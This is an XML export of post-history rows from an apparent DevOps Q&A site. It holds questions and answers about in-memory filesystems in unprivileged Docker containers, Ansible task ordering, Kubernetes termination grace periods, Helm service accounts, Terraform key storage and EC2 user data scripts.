  <row Id="32809" PostHistoryTypeId="2" PostId="10678" RevisionGUID="ad3e402b-8700-4754-bf31-31fa3edf2643" CreationDate="2020-02-01T21:14:42.097" UserId="17675" Text="I'd like to create an in-memory filesystem within a docker container running on a cluster where I can't assign the container any special permissions (e.g. the container can't have `CAP_SYS_ADMIN` capability necessary for using `mount`).&#xD;&#xA;&#xD;&#xA;Is it possible to create an in-memory filesystem under docker? Will one of the user space filesystems provide this functionality?&#xD;&#xA;&#xD;&#xA;Reference article(s):&#xD;&#xA;&#xD;&#xA;- [How do I mount --bind inside a Docker container?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/36553617/how-do-i-mount-bind-inside-a-docker-container" ContentLicense="CC BY-SA 4.0" />
  <row Id="32810" PostHistoryTypeId="1" PostId="10678" RevisionGUID="ad3e402b-8700-4754-bf31-31fa3edf2643" CreationDate="2020-02-01T21:14:42.097" UserId="17675" Text="Can an in-memory filesystem be created from inside a docker container with no special permissions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32811" PostHistoryTypeId="3" PostId="10678" RevisionGUID="ad3e402b-8700-4754-bf31-31fa3edf2643" CreationDate="2020-02-01T21:14:42.097" UserId="17675" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32812" PostHistoryTypeId="5" PostId="10678" RevisionGUID="6b0d282a-2545-4334-b1bf-7a6944528311" CreationDate="2020-02-01T21:35:57.823" UserId="17675" Comment="added 99 characters in body" Text="I'd like to create an in-memory filesystem within a docker container running on a cluster where I can't assign the container any special permissions (e.g. the container can't have `CAP_SYS_ADMIN` capability necessary for using `mount`).&#xD;&#xA;&#xD;&#xA;Is it possible to create an in-memory filesystem under docker? Will one of the user space filesystems provide this functionality?&#xD;&#xA;&#xD;&#xA;Reference article(s):&#xD;&#xA;&#xD;&#xA;- [How do I mount --bind inside a Docker container?][1]&#xD;&#xA;- [FUSE inside Docker][2]&#xD;&#xA;- [An in-memory filesystem (ie, RAMDISK) using FUSE][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/36553617/how-do-i-mount-bind-inside-a-docker-container&#xD;&#xA;  [2]: https://stackoverflow.com/questions/48402218/fuse-inside-docker&#xD;&#xA;  [3]: https://github.com/thegreyd/FuseFilesystem" ContentLicense="CC BY-SA 4.0" />
  <row Id="32813" PostHistoryTypeId="5" PostId="10678" RevisionGUID="91b736ef-96a7-42a5-a2a1-545717a1cced" CreationDate="2020-02-01T21:42:55.843" UserId="17675" Comment="added 292 characters in body" Text="I'd like to create an in-memory filesystem within a docker container running on a cluster where I can't assign the container any special permissions (e.g. the container can't have `CAP_SYS_ADMIN` capability necessary for using `mount`).&#xD;&#xA;&#xD;&#xA;Is it possible to create an in-memory filesystem under docker? Will one of the user space filesystems provide this functionality?&#xD;&#xA;&#xD;&#xA;Reference article(s):&#xD;&#xA;&#xD;&#xA;- [User Space File Systems][5]&#xD;&#xA;- [How do I mount --bind inside a Docker container?][1]&#xD;&#xA;- [FUSE inside Docker][2]&#xD;&#xA;- [An in-memory filesystem (ie, RAMDISK) using FUSE][3]&#xD;&#xA;- [Riofs - fuse device not found][4]&#xD;&#xA;&#xD;&#xA;UPDATE: After finding and reading the references added above it's looking more and more like the answer is a firm no. I'll leave this open a bit in case anyone wants to elaborate.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/36553617/how-do-i-mount-bind-inside-a-docker-container&#xD;&#xA;  [2]: https://stackoverflow.com/questions/48402218/fuse-inside-docker&#xD;&#xA;  [3]: https://github.com/thegreyd/FuseFilesystem&#xD;&#xA;  [4]: https://stackoverflow.com/questions/51263555/riofs-fuse-device-not-found&#xD;&#xA;  [5]: https://www.linuxtoday.com/blog/user-space-file-systems.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="32814" PostHistoryTypeId="50" PostId="5377" RevisionGUID="0878ded1-dfd6-4adc-a4f4-30dadc46ca25" CreationDate="2020-02-01T23:02:10.300" UserId="-1" />
  <row Id="32815" PostHistoryTypeId="50" PostId="9369" RevisionGUID="ce2e3886-cfaf-45ae-9e88-4f0687fb5ab9" CreationDate="2020-02-02T00:01:35.377" UserId="-1" />
  <row Id="32816" PostHistoryTypeId="5" PostId="10678" RevisionGUID="eb3baddf-9bdc-4749-8ce9-3ccb810e2e45" CreationDate="2020-02-02T00:39:55.073" UserId="17675" Comment="added 14 characters in body" Text="I'd like to create an in-memory filesystem within a docker container running on a cluster where I can't assign the container any special permissions (e.g. the container can't have `CAP_SYS_ADMIN` capability necessary for using `mount`).&#xD;&#xA;&#xD;&#xA;Is it possible to create an in-memory filesystem under docker? Will one of the user space filesystems provide this functionality?&#xD;&#xA;&#xD;&#xA;Reference article(s):&#xD;&#xA;&#xD;&#xA;- [User Space File Systems][5]&#xD;&#xA;- [How do I mount --bind inside a Docker container?][1]&#xD;&#xA;- [FUSE inside Docker][2]&#xD;&#xA;- [An in-memory filesystem (ie, RAMDISK) using FUSE][3]&#xD;&#xA;- [Riofs - fuse device not found][4]&#xD;&#xA;&#xD;&#xA;UPDATE: After finding and reading the references added above it's looking more and more like the answer is a firm no. I'll leave this open a bit in case anyone wants to elaborate or correct me.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/36553617/how-do-i-mount-bind-inside-a-docker-container&#xD;&#xA;  [2]: https://stackoverflow.com/questions/48402218/fuse-inside-docker&#xD;&#xA;  [3]: https://github.com/thegreyd/FuseFilesystem&#xD;&#xA;  [4]: https://stackoverflow.com/questions/51263555/riofs-fuse-device-not-found&#xD;&#xA;  [5]: https://www.linuxtoday.com/blog/user-space-file-systems.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="32817" PostHistoryTypeId="2" PostId="10679" RevisionGUID="f8faf3f0-01a1-43d8-893b-7d7adf2240b2" CreationDate="2020-02-02T01:42:20.533" UserId="19448" Text="Is it possible to use ansible to manage order of programs?&#xD;&#xA;Im trying to find an automated solution which will do the following steps:&#xD;&#xA;&#xD;&#xA; 1. run a program on HostA&#xD;&#xA; 2. run a command on HostB which requires HostA program to run&#xD;&#xA; 3. run a program on HostC if 2. step succeed&#xD;&#xA; 4. run a command on HostD which requires HostC program to run&#xD;&#xA; 5. run a command on HostE which requires HostC program to run&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;  - hosts: neededhosts&#xD;&#xA;    roles:&#xD;&#xA;      - startprogram&#xD;&#xA;      - runcommand&#xD;&#xA;      - startsecprgoram&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;startprogram:&#xD;&#xA;- name: start hostA program&#xD;&#xA;  tasks:&#xD;&#xA;    - name: start program&#xD;&#xA;      hosts: HostA&#xD;&#xA;      shell: /etc/init.d/HostAprogram.sh start&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;runcommand:&#xD;&#xA;- name: run command on HostB&#xD;&#xA;  tasks:&#xD;&#xA;    - name: run command&#xD;&#xA;      hosts: HostB&#xD;&#xA;      shell: command which using host A&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32818" PostHistoryTypeId="1" PostId="10679" RevisionGUID="f8faf3f0-01a1-43d8-893b-7d7adf2240b2" CreationDate="2020-02-02T01:42:20.533" UserId="19448" Text="Ansible execute task on different hosts in order" ContentLicense="CC BY-SA 4.0" />
  <row Id="32819" PostHistoryTypeId="3" PostId="10679" RevisionGUID="f8faf3f0-01a1-43d8-893b-7d7adf2240b2" CreationDate="2020-02-02T01:42:20.533" UserId="19448" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32820" PostHistoryTypeId="2" PostId="10680" RevisionGUID="ac3a0401-741f-42a9-a692-184d584f8534" CreationDate="2020-02-02T02:43:46.657" UserId="17675" Text="Kubernetes can mount a ram disk for you. The answer is right there in the standard RTFM guide. &#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/storage/volumes/#emptydir&#xD;&#xA;&#xD;&#xA;Create an `emptyDir` volume and set `emptyDir.medium` to &quot;Memory&quot; to build, what I interpret from the documentation to be, a dynamically sized memory file system which counts against the containers memory limit.&#xD;&#xA;&#xD;&#xA;If you're not running under kubernetes, whatever system that deploys the docker container would need to create the ram disk and mount that into the container, or give the container the special permissions discussed in the various reference articles in the question." ContentLicense="CC BY-SA 4.0" />
  <row Id="32822" PostHistoryTypeId="2" PostId="10681" RevisionGUID="24c43a5e-75de-442c-81f5-3c36879e841c" CreationDate="2020-02-02T06:18:46.793" UserId="19335" Text="bcicen on githup with tool `ctop` is working for me&#xA;ref. https://github.com/bcicen/ctop" ContentLicense="CC BY-SA 4.0" />
  <row Id="32824" PostHistoryTypeId="2" PostId="10682" RevisionGUID="e63dd5c5-fed4-46f6-8ef9-6d53b147068f" CreationDate="2020-02-02T10:16:07.463" UserId="19264" Text="You are possibly looking for a third party stack on cluster to help you, if so there is long list you can explore and play to your need&#xD;&#xA;&#xD;&#xA;Various Kubernetes logging tools you could consider from below list: &#xD;&#xA;&#xD;&#xA;&gt; [Fluentd](https://docs.fluentd.org/container-deployment/kubernetes)&#xD;&#xA;&#xD;&#xA;&gt; [ELK Stack](https://kubernetes.io/docs/tasks/debug-application-cluster/logging-elasticsearch-kibana/)&#xD;&#xA;&#xD;&#xA;&gt; [Stackdriver](https://kubernetes.io/docs/tasks/debug-application-cluster/logging-stackdriver/)&#xD;&#xA;&#xD;&#xA;I have used this link to setup [EFK](https://www.digitalocean.com/community/tutorials/how-to-set-up-an-elasticsearch-fluentd-and-kibana-efk-logging-stack-on-kubernetes) on my local cluster." ContentLicense="CC BY-SA 4.0" />
  <row Id="32825" PostHistoryTypeId="2" PostId="10683" RevisionGUID="129958fa-2963-4daf-9a6f-a7b16e6d2b28" CreationDate="2020-02-02T12:47:34.107" UserId="19264" Text="&gt; Note : It is one of the Kubernetes **best practices to allow termination with grace**.&#xD;&#xA;&#xD;&#xA;Kubernetes waits for a specified time called the termination grace period. By default, this is 30 seconds. It’s important to note that this happens in parallel to the preStop hook and the SIGTERM signal. &#xD;&#xA;&#xD;&#xA;&gt; NOTE : Kubernetes does not wait for the preStop hook to finish.**If your app finishes shutting down and exits before the terminationGracePeriod is done, Kubernetes moves to the next step immediately**.&#xD;&#xA;&#xD;&#xA;If your pod usually takes longer than 30 seconds to shut down, make sure you increase the grace period. You can do that by setting the **`terminationGracePeriodSeconds`** option in the Pod YAML. &#xD;&#xA;&#xD;&#xA;&gt; It’s important that your application **terminate gracefully so that there is minimal impact on the end user** and the time-to-recovery is as fast as possible!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To change it to value lower or higher than default value of 30 seconds include the flag as below example.&#xD;&#xA;&#xD;&#xA;Example : &#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: null&#xD;&#xA;      labels:&#xD;&#xA;        run: nginx&#xD;&#xA;      name: nginx&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: nginx&#xD;&#xA;        name: nginx&#xD;&#xA;      terminationGracePeriodSeconds: 0&#xD;&#xA;&#xD;&#xA;We can always make use of `kubectl explain` command to find supported options under spec.&#xD;&#xA;&#xD;&#xA;For example : `kubectl explain deployment.spec.template.spec`&#xD;&#xA;&#xD;&#xA;    master $ kubectl explain deployment.spec.template.spec.terminationGracePeriodSeconds&#xD;&#xA;    KIND:     Deployment&#xD;&#xA;    VERSION:  apps/v1&#xD;&#xA;    &#xD;&#xA;    FIELD:    terminationGracePeriodSeconds &lt;integer&gt;&#xD;&#xA;    &#xD;&#xA;    DESCRIPTION:&#xD;&#xA;         Optional duration in seconds the pod needs to terminate gracefully. May be&#xD;&#xA;         decreased in delete request. Value must be non-negative integer. The value&#xD;&#xA;         zero indicates delete immediately. If this value is nil, the default grace&#xD;&#xA;         period will be used instead. The grace period is the duration in seconds&#xD;&#xA;         after the processes running in the pod are sent a termination signal and&#xD;&#xA;         the time when the processes are forcibly halted with a kill signal. Set&#xD;&#xA;         this value longer than the expected cleanup time for your process. Defaults&#xD;&#xA;         to 30 seconds.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32829" PostHistoryTypeId="2" PostId="10685" RevisionGUID="af503c93-bc23-4009-acd0-e75b0810297f" CreationDate="2020-02-02T17:10:04.923" UserId="19264" Text="you can remove the file hello-world/templates/serviceaccount.yaml and mark serviceaccount as false in value.yaml and try to deploy as below&#xD;&#xA;&#xD;&#xA;Note i have removed the serviceaccount.yaml &#xD;&#xA;&#xD;&#xA;    ubuntu@k8s-master:~/hello$ tree&#xD;&#xA;    .&#xD;&#xA;    └── hello-world&#xD;&#xA;        ├── charts&#xD;&#xA;        ├── Chart.yaml&#xD;&#xA;        ├── templates&#xD;&#xA;        │   ├── deployment.yaml&#xD;&#xA;        │   ├── _helpers.tpl&#xD;&#xA;        │   ├── ingress.yaml&#xD;&#xA;        │   ├── NOTES.txt&#xD;&#xA;        │   ├── service.yaml&#xD;&#xA;        │   └── tests&#xD;&#xA;        │       └── test-connection.yaml&#xD;&#xA;        └── values.yaml&#xD;&#xA;    &#xD;&#xA;    4 directories, 8 files&#xD;&#xA;&#xD;&#xA;set create field as false under values.yaml &#xD;&#xA;&#xD;&#xA;    $ cat hello-world/values.yaml | grep -i serviceaccount -A 10&#xD;&#xA;&#xD;&#xA;    serviceAccount:&#xD;&#xA;      # Specifies whether a service account should be created&#xD;&#xA;      create: false&#xD;&#xA;      # Annotations to add to the service account&#xD;&#xA;      annotations: {}&#xD;&#xA;      # The name of the service account to use.&#xD;&#xA;      # If not set and create is true, a name is generated using the fullname template&#xD;&#xA;      name:&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32830" PostHistoryTypeId="2" PostId="10686" RevisionGUID="a0cce2bf-3630-4eec-a1ed-d271e7c1b599" CreationDate="2020-02-02T17:33:33.243" UserId="12833" Text="May be a better way to manage private key is using protected variables into the Terraform Cloud. Otherwise you have to save it in repo that is not secure. " ContentLicense="CC BY-SA 4.0" />
  <row Id="32831" PostHistoryTypeId="5" PostId="10685" RevisionGUID="c5ef2736-4aba-4dfd-a992-582cd654d59c" CreationDate="2020-02-02T17:59:28.357" UserId="19264" Comment="added 3649 characters in body" Text="You can try below options to debug this further. &#xD;&#xA;&#xD;&#xA;First verify values.yaml and check the values for serviceAccount (default value is true ) that means the helm chart when deployed will create a service account for the deployment. When you create a pod, **if you do not specify a service account, it is automatically assigned the default service account in the given namespace**. &#xD;&#xA;&#xD;&#xA;    serviceAccount:&#xD;&#xA;      # Specifies whether a service account should be created&#xD;&#xA;      create: true&#xD;&#xA;      # Annotations to add to the service account&#xD;&#xA;      annotations: {}&#xD;&#xA;      # The name of the service account to use.&#xD;&#xA;      # If not set and create is true, a name is generated using the fullname template&#xD;&#xA;      name:&#xD;&#xA;&#xD;&#xA;Try to deploy your helm chart with create: false and verify if it solves your issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Else remove the file hello-world/templates/serviceaccount.yaml and mark serviceaccount as create: false in value.yaml and pass name as default service account of your deployment try to deploy as below&#xD;&#xA;&#xD;&#xA;Note i have removed the serviceaccount.yaml &#xD;&#xA;&#xD;&#xA;    ~/hello$ tree&#xD;&#xA;    .&#xD;&#xA;    └── hello-world&#xD;&#xA;        ├── charts&#xD;&#xA;        ├── Chart.yaml&#xD;&#xA;        ├── templates&#xD;&#xA;        │   ├── deployment.yaml&#xD;&#xA;        │   ├── _helpers.tpl&#xD;&#xA;        │   ├── ingress.yaml&#xD;&#xA;        │   ├── NOTES.txt&#xD;&#xA;        │   ├── service.yaml&#xD;&#xA;        │   └── tests&#xD;&#xA;        │       └── test-connection.yaml&#xD;&#xA;        └── values.yaml&#xD;&#xA;    &#xD;&#xA;    4 directories, 8 files&#xD;&#xA;&#xD;&#xA;set create field as false under values.yaml &#xD;&#xA;&#xD;&#xA;    $ cat hello-world/values.yaml | grep -i serviceaccount -A 10&#xD;&#xA;&#xD;&#xA;    serviceAccount:&#xD;&#xA;      # Specifies whether a service account should be created&#xD;&#xA;      create: false&#xD;&#xA;      # Annotations to add to the service account&#xD;&#xA;      annotations: {}&#xD;&#xA;      # The name of the service account to use.&#xD;&#xA;      # If not set and create is true, a name is generated using the fullname template&#xD;&#xA;      name: default&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can fetch your list of serviceaccounts available as below&#xD;&#xA;&#xD;&#xA;    $ kubectl get serviceaccounts&#xD;&#xA;    NAME      SECRETS   AGE&#xD;&#xA;    default   1         2d4h&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Once deployed helm list will show the namespace used to deploy your chart and serviceaccount from the name space is used for deploeyemnt&#xD;&#xA;&#xD;&#xA;    $ helm list&#xD;&#xA;    NAME                    NAMESPACE       REVISION        UPDATED                                 STATUS          CHART               APP VERSION&#xD;&#xA;    hello-world-1580665905  default         1               2020-02-02 17:51:45.631330487 +0000 UTC deployed        hello-world-0.1.0   1.16.0&#xD;&#xA;&#xD;&#xA;Get chart details and values post deploeyemtn as below &#xD;&#xA;&#xD;&#xA;    $ helm show chart hello-world&#xD;&#xA;    apiVersion: v2&#xD;&#xA;    appVersion: 1.16.0&#xD;&#xA;    description: A Helm chart for Kubernetes&#xD;&#xA;    name: hello-world&#xD;&#xA;    type: application&#xD;&#xA;    version: 0.1.0&#xD;&#xA;    &#xD;&#xA;    $ helm show values hello-world | grep -i serviceaccount -A 10&#xD;&#xA;    serviceAccount:&#xD;&#xA;      # Specifies whether a service account should be created&#xD;&#xA;      create: false&#xD;&#xA;      # Annotations to add to the service account&#xD;&#xA;      annotations: {}&#xD;&#xA;      # The name of the service account to use.&#xD;&#xA;      # If not set and create is true, a name is generated using the fullname template&#xD;&#xA;      name: default&#xD;&#xA;    &#xD;&#xA;    podSecurityContext: {}&#xD;&#xA;      # fsGroup: 2000&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Get deployed resources as below &#xD;&#xA;&#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME                                          READY   STATUS    RESTARTS   AGE    IP               NODE         NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/hello-world-1580665905-84b9d4d469-xv5mx   1/1     Running   0          118s   192.168.58.215   k8s-node02   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                             TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)   AGE    SELECTOR&#xD;&#xA;    service/hello-world-1580665905   ClusterIP   10.108.73.21   &lt;none&gt;        80/TCP    118s   app.kubernetes.io/instance=hello-world-1580665905,app.kubernetes.io/name=hello-world&#xD;&#xA;    service/kubernetes               ClusterIP   10.96.0.1      &lt;none&gt;        443/TCP   2d4h   &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                                     READY   UP-TO-DATE   AVAILABLE   AGE    CONTAINERS    IMAGES         SELECTOR&#xD;&#xA;    deployment.apps/hello-world-1580665905   1/1     1            1           118s   hello-world   nginx:1.16.0   app.kubernetes.io/instance=hello-world-1580665905,app.kubernetes.io/name=hello-world&#xD;&#xA;    &#xD;&#xA;    NAME                                                DESIRED   CURRENT   READY   AGE    CONTAINERS    IMAGES         SELECTOR&#xD;&#xA;    replicaset.apps/hello-world-1580665905-84b9d4d469   1         1         1       118s   hello-world   nginx:1.16.0   app.kubernetes.io/instance=hello-world-1580665905,app.kubernetes.io/name=hello-world,pod-template-hash=84b9d4d469&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32832" PostHistoryTypeId="2" PostId="10687" RevisionGUID="8d378fb2-67a9-456d-9998-cc094b253e2a" CreationDate="2020-02-02T20:59:23.943" UserId="12831" Text="Currently when you run terraform against a remote workspace in terraform cloud the repository that you are working in gets uploaded. If your key is contained in that repo and is a relative path from your working directory then it should find it. However, as mentioned in another answer, leaving your key in your repo is not a good security practice. &#xA;&#xA;I'd recommend considering something like SSM parameter store, vault, or other secure method of storing such information. &#xA;&#xA;However there's one additional way you could do this. If you create the key as a resource, then you could refer to this created key as a data source and terraform and everything would be stored in the state file. If you are okay with that then you could abstract the need to have any file locally, and instead store the key value as an output from a related plan or the same plan. &#xA;&#xA;Be aware this still has some security implications if you don't ensure your remote workspace and terraform cloud has security applied to different levels of users in the team plan. I'm a pretty big fan of using the state this way though when possible, Is it simplifies and removes one more extra complexity from my deployment.&#xA;&#xA;The last option is the other user mentioned, is secure variables. this means you would set up a environment variable that is marked as sensitive in the settings. This would prevent it from being in plain text, and might be a viable option if you can just pass it in part of your job. There's a Python library that supports API calls to simplify updating them across the board if you don't want to use the terraform cloud provider for terraform cloud. " ContentLicense="CC BY-SA 4.0" />
  <row Id="32833" PostHistoryTypeId="2" PostId="10688" RevisionGUID="f8da1253-577a-4ee8-a726-86f8883f48f5" CreationDate="2020-02-02T21:07:51.947" UserId="12831" Text="The code example above has a typo in the closing tag for PowerShell. I'd try replacing this and see if that's the root issue. If there's further issues after fixing that, post a comment on this answer and I'd be glad to look further.&#xA;&#xA;Also as far as powershell syntax consider using join path for proper path parsing. &#xA;&#xA;For example `$exe = Join-Path $ENV:ProgramData 'git/git.exe`&#xA;&#xA;The. You can run &#xA;&#xA;```&#xA;&amp;$exe --config --global ....&#xA;```&#xA;&#xA;I'd also recommend that you consider looking at Amazon systems manager documents. You can create a  document that initializes a setting such as get config. &#xA;&#xA;Then you create a AWS association to this document on a tag, at that point it will run automatically anytime a new instance is created without you having to continue to maintain it. It also allows you to update the document independently of the user data, and then ensure you can run it manually as needed as well. I'm a big fan of decoupling any type of configuration scripts from the userdata and using that as a last resort.&#xA;&#xA;One last item...&#xA;&#xA;    Remove-Item C:\c -Recurse -ErrorAction Ignore&#xA;&#xA;Highly recommend you revisit that. That's seems super easy to mess up and start deleting stuff you didn't mean to. I'd make sure you use a fully qualified path with `Join-Path` and also use the `-LiteralPath` instead of positional argument by default. If anyone created a folder c on c drive I'd reject that in a heartbeat in a code review." ContentLicense="CC BY-SA 4.0" />
  <row Id="32834" PostHistoryTypeId="2" PostId="10689" RevisionGUID="cca02670-c27b-490f-9463-d328567e8c65" CreationDate="2020-02-02T23:08:00.167" UserId="7715" Text="&gt;Q: *&quot;Is it possible to use ansible to manage the order of programs?&quot;*&#xD;&#xA;&#xD;&#xA;A: Yes. It's possible. For example, the playbook below does the job&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- hosts: HostA&#xD;&#xA;  tasks:&#xD;&#xA;    - include_role:&#xD;&#xA;        name: startprogram&#xD;&#xA;&#xD;&#xA;- hosts: HostB&#xD;&#xA;  tasks:&#xD;&#xA;    - include_role:&#xD;&#xA;        name: runcommand&#xD;&#xA;      when: hostvars.HostA.HostAprogram_started|default(false)&#xD;&#xA;&#xD;&#xA;- hosts: HostC&#xD;&#xA;  tasks:&#xD;&#xA;    - include_role:&#xD;&#xA;        name: startsecprogram&#xD;&#xA;      when: hostvars.HostB.HostBcommand_passed|default(false)&#xD;&#xA;&#xD;&#xA;- hosts: HostD,HostE&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        msg: command on {{ inventory_hostname }} which requires HostC program to run&#xD;&#xA;      when: hostvars.HostC.HostCprogram_started|default(false)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Example of the roles for the purpose of testing&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat roles/startprogram/tasks/main.yml&#xD;&#xA;- debug:&#xD;&#xA;    msg: /etc/init.d/HostAprogram.sh start&#xD;&#xA;- set_fact:&#xD;&#xA;    HostAprogram_started: true&#xD;&#xA;&#xD;&#xA;$ cat roles/runcommand/tasks/main.yml&#xD;&#xA;- debug:&#xD;&#xA;    msg: command which using host A&#xD;&#xA;- set_fact:&#xD;&#xA;    HostBcommand_passed: true&#xD;&#xA;&#xD;&#xA;$ cat roles/startsecprogram/tasks/main.yml&#xD;&#xA;- debug:&#xD;&#xA;    msg: /etc/init.d/HostCprogram.sh start&#xD;&#xA;- set_fact:&#xD;&#xA;    HostCprogram_started: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Example of the output&#xD;&#xA;```&#xD;&#xA;ok: [HostA] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;/etc/init.d/HostAprogram.sh start&quot;&#xD;&#xA;}&#xD;&#xA;ok: [HostB] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;command which using host A&quot;&#xD;&#xA;}&#xD;&#xA;ok: [HostC] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;/etc/init.d/HostCprogram.sh start&quot;&#xD;&#xA;}&#xD;&#xA;ok: [HostD] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;command on HostD which requires HostC program to run&quot;&#xD;&#xA;}&#xD;&#xA;ok: [HostE] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;command on HostE which requires HostC program to run&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32835" PostHistoryTypeId="5" PostId="10654" RevisionGUID="a872d0de-639d-4ce1-8c6a-47ab753596a1" CreationDate="2020-02-02T23:35:38.900" UserId="19039" Comment="a simple typo" Text="I created a windows Ec2 instance with user data in it. In my ec2 instance I downlaoded git and installed it. Later in EC2 instance, I provided it with the user data which was supposed to download a git repository and place it in C: &#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;This is my user data in original EC2 instance.&#xD;&#xA;&#xD;&#xA;     &lt;powershell&gt;&#xD;&#xA;    Remove-Item C:\c -Recurse -ErrorAction Ignore&#xD;&#xA;    C:\&quot;Program Files&quot;\Git\bin\git.exe config --global http.sslVerify false&#xD;&#xA;    C:\&quot;Program Files&quot;\Git\bin\git.exe clone https://github.com/(somename)/(someapp).git /c&#xD;&#xA;    &lt;/powershell&gt;&#xD;&#xA;    &lt;persist&gt;true&lt;/persist&gt;&#xD;&#xA;&#xD;&#xA;The EC2 instance worked without any problem. Then I decided to create a custom AMI from it. I created one and launched another instance from it. I then tried to run the instance to which it ran succesfully. But then in the new EC2 instance that I created from custom AMI, the user data from the original EC2 instance was not executed. I tried changing the setting of EC2 instance which was found in C://programdata . I configured it to run user data on every boot. But then still user data was not executed. I am not sure what's going on here. Any help will be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="32836" PostHistoryTypeId="2" PostId="10690" RevisionGUID="cb2295cd-b8da-4669-bcae-7b79229aa2f1" CreationDate="2020-02-03T03:53:14.687" UserId="47" Text="There may be a significant speed difference between **provisioning** an environment and **bringing up** that environment. Especially when it comes to what you mentioned: IaaS and hybrid environments - those are VMs and bare metal servers - it may take many seconds/minutes for some of them to come up. &#xD;&#xA;&#xD;&#xA;So there may still be value in patching those environments, provided, of course, that the respective patches can be done without downtime. That depends on the patches - upgrading the kernel on a linux server, for example, would require a reboot to take effect. Upgrading Python won't.&#xD;&#xA;&#xD;&#xA;The intended usage for particular IaaS/hybrid environments is also an important aspect in this discussion. The downtime could be completely insignificant for a distributed app designed to tolerate restarts of individual servers in the pool it's running on but probably a big deal for a centralized server app serving thousands of users.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32837" PostHistoryTypeId="2" PostId="10691" RevisionGUID="7c266036-af1d-4684-a1da-cd0f815f120a" CreationDate="2020-02-03T04:51:52.897" UserId="18194" Text="This means that you can start a container where the /host directory is the / directory on your host; and the container can alter your host file system without any restriction. This is similar to how virtualization systems allow file system resource sharing.&#xD;&#xA;&#xD;&#xA;Docker containers are very similar to LXC containers, and they have similar security features. When you start a container with docker run, behind the scenes Docker creates a set of namespaces and control groups for the container.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32844" PostHistoryTypeId="2" PostId="10694" RevisionGUID="bad3b690-f9a9-4edb-80cc-5a9e5c9cec71" CreationDate="2020-02-03T15:35:21.457" UserId="19432" Text="Using some shell commands in cmder to parse the json and filter the results I was able to filter the results. Here is the command:&#xD;&#xA;&#xD;&#xA;    .\sensuctl.exe dump entity --all-namespaces --format wrapped-json | jq &quot;.metadata.name&quot; | grep -i &lt;filtertext&gt;" ContentLicense="CC BY-SA 4.0" />
